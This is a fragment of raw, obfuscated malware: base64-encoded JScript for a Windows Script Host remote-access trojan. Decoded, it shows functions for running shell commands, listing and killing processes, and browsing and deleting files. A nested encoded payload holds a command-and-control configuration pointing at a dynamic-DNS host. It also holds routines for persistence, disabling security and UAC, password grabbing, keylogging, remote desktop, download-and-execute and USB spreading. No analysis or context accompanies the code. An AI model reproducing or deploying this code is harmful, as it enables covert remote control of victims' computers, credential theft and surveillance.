mouc2VuZChidWZmZXIpOw0KfWNhdGNoKGVyKXsNCnVwZGF0ZXN0YXR1cygiVXBsb2FkK0ZhaWxlZCIpOw0KfQ0KfQ0KZnVuY3Rpb24gZGVsZXRlZmFmICh1cmwpew0KdHJ5ew0KZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKHVybCk7DQpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZvbGRlcih1cmwpOw0KfWNhdGNoKGVycil7fQ0KfQ0KZnVuY3Rpb24gY21kc2hlbGwgKGNtZCl7DQp2YXIgaHR0cG9iaixvZXhlYyxyZWFkYWxsZnJvbWFueTsNCnZhciBzdHJzYXZldG8gPSBpbnN0YWxsZGlyICsgIm91dC50eHQiOw0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIiArIGNtZCArICIgPiBcIiIgKyBzdHJzYXZldG8gKyAiXCIiLCAwLCB0cnVlKTsNCnJlYWRhbGxmcm9tYW55ID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoc3Ryc2F2ZXRvKS5yZWFkQWxsKCk7DQp0cnl7DQpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsNCn1jYXRjaChlZSl7fQ0KcmV0dXJuIHJlYWRhbGxmcm9tYW55Ow0KfQ0KZnVuY3Rpb24gZW51bXByb2Nlc3MoKXsNCnZhciBlcCA9ICIiOw0KdHJ5ew0KdmFyIG9iandtaXNlcnZpY2UgPSBHZXRPYmplY3QoIndpbm1nbXRzOlxcXFwuXFxyb290XFxjaW12MiIpOw0KdmFyIGNvbGl0ZW1zID0gb2Jqd21pc2VydmljZS5FeGVjUXVlcnkoInNlbGVjdCAqIGZyb20gd2luMzJfcHJvY2VzcyIsbnVsbCw0OCk7DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoY29saXRlbXMpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgb2JqaXRlbSA9IGZpLml0ZW0oKTsNCmVwID0gZXAgKyBvYmppdGVtLm5hbWUgKyAiXiI7DQplcCA9IGVwICsgb2JqaXRlbS5wcm9jZXNzSWQgKyAiXiI7DQplcCA9IGVwICsgb2JqaXRlbS5leGVjdXRhYmxlUGF0aCArIHNwbGl0ZXI7DQp9DQp9Y2F0Y2goZXIpe30NCnJldHVybiBlcDsNCn0NCmZ1bmN0aW9uIGV4aXRwcm9jZXNzIChwaWQpew0KdHJ5ew0Kc2hlbGxvYmoucnVuKCJ0YXNra2lsbCAvRiAvVCAvUElEICIgKyBwaWQsMCx0cnVlKTsNCn1jYXRjaChlcnIpe30NCn0NCmZ1bmN0aW9uIGdldFBhcmVudERpcmVjdG9yeShwYXRoKXsNCnZhciBmbyA9IGZpbGVzeXN0ZW1vYmouZ2V0RmlsZShwYXRoKTsNCnJldHVybiBmaWxlc3lzdGVtb2JqLmdldFBhcmVudEZvbGRlck5hbWUoZm8pOw0KfQ0KZnVuY3Rpb24gZW51bWZhZiAoZW51bWRpcil7DQp2YXIgcmUgPSAiIjsNCnRyeXsNCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldEZvbGRlciAoZW51bWRpcikuc3ViZm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBmb2xkZXIgPSBmaS5pdGVtKCk7DQpyZSA9IHJlICsgZm9sZGVyLm5hbWUgKyAiXl5kXiIgKyBmb2xkZXIuYXR0cmlidXRlcyArIHNwbGl0ZXI7DQp9DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRGb2xkZXIgKGVudW1kaXIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIGZpbGUgPSBmaS5pdGVtKCk7DQpyZSA9IHJlICsgZmlsZS5uYW1lICsgIl4iICsgZmlsZS5zaXplICsgIl4iICsgZmlsZS5hdHRyaWJ1dGVzICsgc3BsaXRlcjsNCn0NCn1jYXRjaChlcnIpe30NCnJldHVybiByZTsNCn0NCg==\r\n\r\n\r\n--------------------------\r\n\r\n\r\ntry{\r\nvar longText1 = &quot;ZnVuY3Rpb24gYmdmdHJld2FzKCl7CglyZXR1cm4gWyJMeTg4V3lCeVpXTnZaR1Z5SURvZ2EyOW5ibWwwYnk+PiVvWXlrZ2MydDVjR1VnT2lCc2FYWmxPblZ1YTI1dmQyNHVjMkZzWlhNMk5DQmRQZ29LTHk4OUxUMHRQUzA5TFQwZ1kyOXVabWxuSUQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUNncDJZWElnYUc5emRDPj4lOUlDSndiSFZuYVc1emNuWXVaSFZqYTJSdWN5NXZjbWNpT3dwMllYSWdjRzl5ZEM+PiU5SURjM05UWTdDblpoY2lCcGJuTjBZV3hzWkdseUlEMGdJaVZoY0hCa1lYUmhKU0k3Q25aaGNpQnlkVzVCYzBGa2JXbHVJRDBnWm1Gc2MyVTdDblpoY2lCc2JtdG1hV3hsSUQwZ2RISjFaVHNLZG1GeUlHeHVhMlp2YkdSbGNpPj4lOUlIUnlkV1U3Q2dwcFppaHlkVzVCYzBGa2JXbHVJRDA5SUhSeWRXVXBld29KYzNSaGNuUjFjRVZzWlhaaGRHVW9LVHNLZlFwcFppaFhVMk55YVhCMExrRnlaM1Z0Wlc1MGN5NU9ZVzFsWkM1RmVHbHpkSE1vSW1Wc1pYWmhkR1ZrSWlrZ1BUMGdkSEoxWlNsN0NnbGthWE5oWW14bFUyVmpkWEpwZEhrb0tUc0tmUW92THowdFBTMDlMVDB0UFNCd2RXSnNhV01nZG1GeUlEMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwS0NuWmhjaUJ6YUdWc2JHOWlhaT4+JTlJRmRUWTNKcGNIUXVZM0psWVhSbFQySnFaV04wS0NKM2MyTnlhWEIwTG5Ob1pXeHNJaWs3Q25aaGNpQm1hV3hsYzNsemRHVnRiMkpxSUQwZ1YxTmpjbWx3ZEM1amNtVmhkR1ZQWW1wbFkzUW9Jbk5qY21sd2RHbHVaeTVtYVd4bGMzbHpkR1Z0YjJKcVpXTjBJaWs3Q25aaGNpQm9kSFJ3YjJKcUlEMGdWMU5qY21sd2RDNWpjbVZoZEdWUFltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaWs3Q2dvS0x5ODlMVDB0UFMwOUxUMGdjSEpwZG1GMElIWmhjaT4+JTlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFFvS2RtRnlJR2x1YzNSaGJHeHVZVzFsSUQwZ1YxTmpjbWx3ZEM1elkzSnBjSFJPWVcxbE93cDJZWElnYzNSaGNuUjFjQz4+JTlJSE5vWld4c2IySnFMbk53WldOcFlXeEdiMnhrWlhKektDSnpkR0Z5ZEhWd0lpa2dLeT4+JWlYRndpT3dwcGJuTjBZV3hzWkdseUlEMGdjMmhsYkd4dlltb3VSWGh3WVc1a1JXNTJhWEp2Ym0xbGJuUlRkSEpwYm1kektHbHVjM1JoYkd4a2FYSXBJQ3NnSWx4Y0lqc0thV1lvSVdacGJHVnplWE4wWlcxdlltb3VabTlzWkdWeVJYaHBjM1J6S0dsdWMzUmhiR3hrYVhJcEtYc2dJR2x1YzNSaGJHeGthWElnUFNCemFHVnNiRzlpYWk1RmVIQmhibVJGYm5acGNtOXViV1Z1ZEZOMGNtbHVaM01vSWlWMFpXMXdKU0lwSUNzZ0lseGNJanQ5Q25aaGNpQnpjR3hwZEdWeUlEMGdJbndpT3dwMllYSWdjMlJyY0dGMGFDPj4lOUlHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJScklqc0tkbUZ5SUhOa2EyWnBiR1VnUFNCelpHdHdZWFJvSUNzZ0lseGNJaT4+JXJJR05vY2lneE1USXBJQ3NnWTJoeUtERXlNU2tnS3lCamFISW9NVEUyS1M+PiVySUdOb2NpZ3hNRFFwSUNzZ1kyaHlLREV4TVNrZ0t5QmphSElvTVRFd0tTPj4lcklHTm9jaWcwTmlrZ0t5QmphSElvTVQ+PiV4S1M+PiVySUdOb2NpZ3hNaj4+JXBJQ3NnWTJoeUtERXdNU2s3Q25aaGNpQnpiR1ZsY0M+PiU5SURVd01EPj4lN0k+PiVwMllYSWdjbVZ6Y0c5dWMyVXNJR050WkN3Z2NHRnlZVzBzSUc5dVpXOXVZMlU3Q2dwMllYSWdhVzVtSUQwZ0lpSTdDblpoY2lCMWMySnpjSEpsWVdScGJtY2dQUz4+JWlJanNLZG1GeUlITjBZWEowWkdGMFpTPj4lOUlDSWlPd29LTHk4OUxUMHRQUzA5TFQwZ1kyOWtaU0J6ZEdGeWRDPj4lOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUW9LYVc1emRHRnVZMlVvS1RzS0NuZG9hV3hsS0hSeWRXVXBld29KZEhKNWV3b0pDV2x1YzNSaGJHd29LVHNLQ2drSmNtVnpjRzl1YzJVZ1BTPj4laUlqc0tJQz4+JWdJQz4+JWdJQ0J5WlhOd2IyNXpaUz4+JTlJSEJ2YzNRZ0tDSnBjeTF5WldGa2VTSXNJaUlwT3dvSkNXTnRaQz4+JTlJSEpsYzNCdmJuTmxMbk53YkdsMEtITndiR2wwWlhJcE93b0pDWE4zYVhSamFDaGpiV1JiTUYwcGV3b2dJQz4+JWdJQz4+JWdJQz4+JWdJQ0JqWVhObElDSmthWE5qYjI1dVpXTjBJam9LQ1FrSkNTPj4lZ1YxTmpjbWx3ZEM1eGRXbDBLQ2s3Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDSnlaV0p2YjNRaU9nb0pDUWtKSUNCemFHVnNiRzlpYWk1eWRXNG9JaVZqYjIxemNHVmpKUz4+JXZZeUJ6YUhWMFpHOTNiaT4+JXZjaT4+JXZkQz4+JXdJQzltSWl3Z01Dd2dkSEoxWlNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0p6YUhWMFpHOTNiaUk2Q2drSkNRa2dJSE5vWld4c2IySnFMbkoxYmlnaUpXTnZiWE53WldNbElDOWpJSE5vZFhSa2IzZHVJQzl6SUM5MElEPj4lZ0wyWWlMQz4+JXdMQ0IwY25WbEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR05oYzJVZ0ltVjRZMlZqZFhSbElqb0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdjR0Z5WVcwZ1BTQmpiV1JiTVYwN0Nna0pDUWtnSUdWMllXd29jR0Z5WVcwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlhVzV6ZEdGc2JDMXpaR3NpT2dvSkNRa0pJQ0JwYm5OMFlXeHNjMlJyS0NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0puWlhRdGNHRnpjeUk2Q2drSkNRa2dJSEJoYzNObmNtRmlZbVZ5S0dOdFpGc3hYU3dnSW1OdFpHTXVaWGhsSWl3Z1kyMWtXekpkS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltZGxkQzF3WVhOekxXOW1abXhwYm1VaU9nb0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpaGpiV1JiTTEwc0lDSmpiV1JqTG1WNFpTSXNJQ0pwWlNJcE93b0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpZ2liblZzYkNJc0lDSmpiV1JqTG1WNFpTSXNJQ0pqYUhKdmJXVWlLVHNLQ1FrSkNTPj4lZ2NHRnpjMmR5WVdKaVpYSW9JbTUxYkd3aUxDPj4laVkyMWtZeTVsZUdVaUxDPj4laWJXOTZhV3hzWVNJcE93b0pDUWtKSUNCd1lYTnpaM0poWW1KbGNqSW9ZMjFrV3pGZExDPj4laVkyMWtZeTVsZUdVaUxDQmpiV1JiTWwwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlkWEJrWVhSbElqb0tDUWtKQ1M+PiVnY0dGeVlXMGdQU0J5WlhOd2IyNXpaUzV6ZFdKemRISW9jbVZ6Y0c5dWMyVXVhVzVrWlhoUFppZ2lmQ0lwSUNzZ01TazdDZ2tKQ1FrZ0lHOXVaVzl1WTJVdVkyeHZjMlVvS1RzS0NRa0pDUz4+JWdiMjVsYjI1alpTPj4lOUlHWnBiR1Z6ZVhOMFpXMXZZbW91YjNCbGJsUmxlSFJHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeUJwYm5OMFlXeHNibUZ0WlM+PiVzTWl3Z1ptRnNjMlVwT3dvSkNRa0pJQ0J2Ym1WdmJtTmxMbmR5YVhSbEtIQmhjbUZ0S1RzS0NRa0pDUz4+JWdiMjVsYjI1alpTNWpiRzl6WlNncE93b0pDUWtKSUNCemFHVnNiRzlpYWk1eWRXNG9JbmR6WTNKcGNIUXVaWGhsSUM4dlFpQmNJaUlnS3lCcGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnS3k+PiVpWENJaUtUc0tDUWtKQ1M+PiVnVjFOamNtbHdkQzV4ZFdsMEtDazdDZ2tKQ1dOaGMyVWdJblZ1YVc1emRHRnNiQ0k2Q2drSkNRa2dJSFZ1YVc1emRHRnNiQ2dwT3dvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTPj4laWRYPj4ldGJpMWxlR1ZqSWpvS0NRa0pDUz4+JWdaRzkzYm14dllXUW9ZMjFrV3pGZExHTnRaRnN5WFNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0ppY21sdVp5MXNiMmNpT2dvSkNRa0pJQ0IxY0d4dllXUW9hVzV6ZEdGc2JHUnBjaT4+JXJJQ0ozYzJoc2IyZHpYRndpSUNzZ1kyMWtXekZkTEM+PiVpZEdGclpTMXNiMmNpS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltUnZkMjR0YmkxbGVHVmpJam9LQ1FrSkNTPj4lZ2MybDBaV1J2ZDI1c2IyRmtaWElvWTIxa1d6RmRMR050WkZzeVhTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUM+PiVpWm1sc1pXMWhibUZuWlhJaU9nb0pDUWtKSUNCelpYSjJhV05sYzNSaGNuUmxjaWhqYldSYk1WMHNJQ0ptYlMxd2JIVm5hVzR1WlhobElpd2dhVzVtYjNKdFlYUnBiMjRvS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWljbVJ3SWpvS0NRa0pDUz4+JWdjMlZ5ZG1salpYTjBZWEowWlhJb1kyMWtXekZkTEM+PiVpY21RdGNHeDFaMmx1TG1WNFpTSXNJR2x1Wm05eWJXRjBhVzl1S0NrcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbXRsZVd4dloyZGxjaUk2Q2drSkNRa2dJR3RsZVd4dloyZGxjbk4wWVhKMFpYSW9ZMjFrV3pGZExDPj4laWEyd3RjR3gxWjJsdUxtVjRaU0lzSUdsdVptOXliV0YwYVc5dUtDa3NJRD4+JXBPd29KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlM+PiVnSW05bVpteHBibVV0YTJWNWJHOW5aMlZ5SWpvS0NRa0pDUz4+JWdhMlY1Ykc5bloyVnljM1JoY25SbGNpaGpiV1JiTVYwc0lDSnJiQzF3YkhWbmFXNHVaWGhsSWl3Z2FXNW1iM0p0WVhScGIyNG9LU3dnTVNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZbkp2ZDNObExXeHZaM01pT2dvSkNRa0pJQ0J3YjNOMEtDSnBjeTFzYjJkeklpd2daVzUxYldaaFppaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFHeHZaM01pS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZMjFrTFhOb1pXeHNJam9LQ1FrSkNTPj4lZ2NHRnlZVzBnUFNCamJXUmJNVjA3Q2drSkNRa2dJSEJ2YzNRb0ltbHpMV050WkMxemFHVnNiQ0lzWTIxa2MyaGxiR3dvY0dGeVlXMHBLVHNLQ1FrSkNTPj4lZ1luSmxZV3M3Q2drSkNXTmhjMlVnSUNKblpYUXRjSEp2WTJWemMyVnpJam9LQ1FrSkNTPj4lZ2NHOXpkQ2dpYVhNdGNISnZZMlZ6YzJWeklpd2daVzUxYlhCeWIyTmxjM01vS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlaR2x6WVdKc1pTMTFZV01pT2dvSkNRa0pJQ0JrYVhOaFlteGxVMlZqZFhKcGRIa29LVHNLQ1FrSkNTPj4lZ2RYQmtZWFJsYzNSaGRIVnpLQ0pWUVVNclJHbHpZV0pzWldRcktGSmxZbTl2ZEN0U1pYRjFhWEpsWkNraUtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0pqYUdWamF5MWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LR1pwYkdWemVYTjBaVzF2WW1vdVptbHNaVVY0YVhOMGN5aGpiV1JiTVYwcEtYc0tDUWtKQ1FsMWNHUmhkR1Z6ZEdGMGRYTW9Ja2x6SzBWc2FXZHBZbXhsSWlrN0Nna0pDUWtnSUgxbGJITmxld29KQ1FrSkNYVndaR0YwWlhOMFlYUjFjeWdpVG05MEswVnNhV2RwWW14bElpazdDZ2tKQ1FrZ0lIMEtDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0ptYjNKalpTMWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LRmRUWTNKcGNIUXVRWEpuZFcxbGJuUnpMazVoYldWa0xrVjRhWE4wY3lnaVpXeGxkbUYwWldRaUtTPj4lOVBTQjBjblZsS1hzS0NRa0pDUWxwWmlobWFXeGxjM2x6ZEdWdGIySnFMbVp2YkdSbGNrVjRhWE4wY3loamJXUmJNVjBwS1hzS0NRa0pDUWtKYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpGc3lYU3dnTUN3Z2RISjFaU2s3Q2drSkNRa0pDWFZ3WkdGMFpYTjBZWFIxY3lnaVUxVkRRMFZUVXlJcE93b0pDUWtKQ1gxbGJITmxld29KQ1FrSkNRbDFjR1JoZEdWemRHRjBkWE1vSWtOdmJYQnZibVZ1ZEN0TmFYTnphVzVuSWlrN0Nna0pDUWtKZlFvSkNRa0pJQ0I5Q2drSkNRa2dJR1ZzYzJWN0Nna0pDUWtKZFhCa1lYUmxjM1JoZEhWektDSkZiR1YyWVhScGIyNHJVbVZ4ZFdseVpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbVZzWlhaaGRHVWlPZ29KQ1FrSklDQnBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1FrSkNYUnllWHNLQ1FrSkNRa2dJRzl1Wlc5dVkyVXVZMnh2YzJVb0tUc0tDUWtKQ1FrZ0lHOXVaVzl1WTJVZ1BTQnVkV3hzT3dvSkNRa0pDUz4+JWdWMU5qY21sd2RDNURjbVZoZEdWUFltcGxZM1FvSWxOb1pXeHNMa0Z3Y0d4cFkyRjBhVzl1SWlrdVUyaGxiR3hGZUdWamRYUmxLQ0ozYzJOeWFYQjBMbVY0WlNJc0lDSWdMeTlDSUZ3aUlpPj4lcklGZFRZM0pwY0hRdVUyTnlhWEIwUm5Wc2JFNWhiV1VnS3k+PiVpWENJZ0wyVnNaWFpoZEdWa0lpd2dJaUlzSUNKeWRXNWhjeUlzSURFcE93b0pDUWtKQ1M+PiVnZFhCa1lYUmxjM1JoZEhWektDSkRiR2xsYm5RclJXeGxkbUYwWldRaUtUc0tDUWtKQ1FsOVkyRjBZMmdvYm00cGV3b0pDUWtKQ1gwS0NRa0pDUWxYVTJOeWFYQjBMbkYxYVhRb0tUc0tDUWtKQ1M+PiVnZlFvSkNRa0pJQ0JsYkhObGV3b0pDUWtKSUM+PiVKSUNCMWNHUmhkR1Z6ZEdGMGRYTW9Ja05zYVdWdWRDdEZiR1YyWVhSbFpDSXBPd29KQ1FrSklDQjlDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUM+PiVpYVdZdFpXeGxkbUYwWlNJNkNna0pDUWtnSUdsbUtGZFRZM0pwY0hRdVFYSm5kVzFsYm5SekxrNWhiV1ZrTGtWNGFYTjBjeWdpWld4bGRtRjBaV1FpS1M+PiU5UFNCbVlXeHpaU2w3Q2drSkNRa0pJQ0IxY0dSaGRHVnpkR0YwZFhNb0lrTnNhV1Z1ZEN0T2IzUXJSV3hsZG1GMFpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCbGJITmxld29KQ1FrSklDPj4lSklDQjFjR1JoZEdWemRHRjBkWE1vSWtOc2FXVnVkQ3RGYkdWMllYUmxaQ0lwT3dvSkNRa0pJQ0I5Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDPj4laWEybHNiQzF3Y205alpYTnpJam9LQ1FrSkNTPj4lZ1pYaHBkSEJ5YjJObGMzTW9ZMjFrV3pGZEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0p6YkdWbGNDSTZDZ2tKQ1FrZ0lIQmhjbUZ0SUQwZ1kyMWtXekZkT3dvSkNRa0pJQ0J6YkdWbGNDPj4lOUlHVjJZV3dvY0dGeVlXMHBPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCaWNtVmhhenNLQ1FsOUNna0pDZ2w5WTJGMFkyZ29aWElwZTMwS0NWZFRZM0pwY0hRdWMyeGxaWD4+JW9jMnhsWlg+PiVwT3dwOUNncG1kVzVqZEdsdmJpQnBibk4wWVd4c2MyUnJLQ2w3Q2dsMGNubDdDZ2tKZG1GeUlITmthM1Z5YkM+PiU5SUhCdmMzUW9JbTF2ZWkxelpHc2lMQz4+JWlJaWs3Q2drSmRtRnlJRzlpYW1oMGRIQmtiM2R1Ykc5aFpDPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSXBPd29KQ1c5aWFtaDBkSEJrYjNkdWJHOWhaQzV2Y0dWdUtDSm5aWFFpTENCelpHdDFjbXdzSUdaaGJITmxLVHNLQ1FsdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpWTJGamFHVXRZMjl1ZEhKdmJEb2lMQz4+JWliV0Y0TFdGblpUMHdJaWs3Q2drSmIySnFhSFIwY0dSdmQyNXNiMkZrTG5ObGJtUW9LVHNLQ2drSmFXWW9abWxzWlhONWMzUmxiVzlpYWk1bWFXeGxSWGhwYzNSektHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJSckxucHBjQ0lwS1hzS0NRa0pabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJSckxucHBjQ0lwT3dvSkNYMEtDUWtnQ2drSmFXWWdLRzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpkR0YwZFhNZ1BUMGdNaj4+JXdLWHNLQ1FrZ0lIUnllWHNLQ1FrZ0lDQjJZWElnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ1YxTmpjbWx3ZEM1RGNtVmhkR1ZQWW1wbFkzUW9JbUZrYjJSaUxuTjBjbVZoYlNJcE93b0pDUz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbFI1Y0dVZ1BTPj4leE95Pj4lS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVQY0dWdUtDazdDZ2tKSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VjNKcGRHVW9iMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFFtOWtlU2s3Q2drSklDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVUyRjJaVlJ2Um1sc1pTaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFITmtheTU2YVg+PiVpS1RzS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVqYkc5elpTZ3BPd29KQ1M+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FrZ0lIMWpZWFJqYUNobGVpbDdDZ2tKQ1FvSkNTPj4lZ2ZRb0pDWDBLQ1FscFppaG1hV3hsYzNsemRHVnRiMkpxTG1acGJHVkZlR2x6ZEhNb2FXNXpkR0ZzYkdScGNpPj4lcklDSjNjMmh6WkdzdWVtbHdJaWtwZXdvSkNRa3ZMM1Z1ZW1sd0lIUm9aU0JtYVd4bEk+PiVvSkNRbFZibHBwY0NocGJuTjBZV3hzWkdseUlDc2dJbmR6YUhOa2F5NTZhWD4+JWlMQ0J6Wkd0d1lYUm9LVHNLQ1FrSmRYQmtZWFJsYzNSaGRIVnpLQ0pUUkVzclNXNXpkR0ZzYkdWa0lpazdDZ2tKZlFvSmZXTmhkR05vS0dWeWNpbDdmUXA5Q2dwbWRXNWpkR2x2YmlCcGJuTjBZV3hzS0NsN0NuWmhjaUJzYm10dlltbzdDblpoY2lCbWFXeGxibUZ0WlRzS2RtRnlJR1p2YkdSbGNtNWhiV1U3Q25aaGNpQm1hV3hsYVdOdmJqc0tkbUZ5SUdadmJHUmxjbWxqYjI0N0NncDFjSE4wWVhKMEtDazdDZ3BtYjNJb2RtRnlJR1J5YVM+PiU5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR1pwYkdWemVYTjBaVzF2WW1vdVpISnBkbVZ6S1RzZ0lXUnlhUzVoZEVWdVpDZ3BPeUJrY21rdWJXOTJaVTVsZUhRb0tTbDdDblpoY2lCa2NtbDJaUz4+JTlJR1J5YVM1cGRHVnRLQ2s3Q21sbUlDaGtjbWwyWlM1cGMzSmxZV1I1SUQwOUlIUnlkV1VwZXdwcFppPj4lb1pISnBkbVV1Wm5KbFpYTndZV05sSUQ0Z01DPj4lcGV3cHBaaT4+JW9aSEpwZG1VdVpISnBkbVYwZVhCbElEMDlJREVnS1hzS0NYUnllWHNLQ1FsbWFXeGxjM2x6ZEdWdGIySnFMbU52Y0hsR2FXeGxLRmRUWTNKcGNIUXVjMk55YVhCMFJuVnNiRTVoYldVZ0xDQmtjbWwyWlM1d1lYUm9JQ3NnSWx4Y0lpPj4lcklHbHVjM1JoYkd4dVlXMWxMSFJ5ZFdVcE93b0pDV2xtSUNobWFXeGxjM2x6ZEdWdGIySnFMbVpwYkdWRmVHbHpkSE1nS0dSeWFYWmxMbkJoZEdnZ0t5Pj4laVhGd2lJQ3NnYVc1emRHRnNiRzVoYldVcEtYc0tDUWtKWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUM+PiVySUdsdWMzUmhiR3h1WVcxbEtTNWhkSFJ5YVdKMWRHVnpJRDBnTWlzME93b0pDWDBLQ1gxallYUmphQ2hsYVdwMUtYdDlDaT4+JWdJQ0JtYjNJb2RtRnlJR1pwSUQwZ2JtVjNJRVZ1ZFcxbGNtRjBiM0lvWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJtYjJ4a1pYSW9aSEpwZG1VdWNHRjBhQz4+JXJJQ0pjWENJcExtWnBiR1Z6S1RzZ0lXWnBMbUYwUlc1a0tDazdJR1pwTG0xdmRtVk9aWGgwS0NrcGV3b0pDWFJ5ZVhzS0NRbDJZWElnWm1sc1pTPj4lOUlHWnBMbWwwWlcwb0tUc0tJQz4+JWdJQz4+JWdJQ0JwWmk+PiVvYkc1clptbHNaUz4+JTlQU0JtWVd4elpTbDdZbkpsWVdzN2ZRb2dJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxMbTVoYldVdWFXNWtaWGhQWmlnaUxpSXBLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnYVdZZ0tDaG1hV3hsTG01aGJXVXVjM0JzYVhRb0lpNGlLVnRtYVd4bExtNWhiV1V1YzNCc2FYUW9JaTRpS1M1c1pXNW5kR2dnTFM+PiV4WFNrdWRHOU1iM2RsY2tOaGMyVW9LUz4+JWhQUz4+JWliRzVySWlsN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQm1hV3hsTG1GMGRISnBZblYwWlhNZ1BTPj4leUt6UTdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JwWmk+PiVvWm1sc1pTNXVZVzFsTG5SdlZYQndaWEpEWVhObEtDa2dJVDBnYVc1emRHRnNiRzVoYldVdWRHOVZjSEJsY2tOaGMyVW9LU2w3Q2k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnWm1sc1pXNWhiV1VnUFNCbWFXeGxMbTVoYldVdWMzQnNhWFFvSWk0aUtUc0tJQz4+JWdJQz4+JWdJQz4+JWd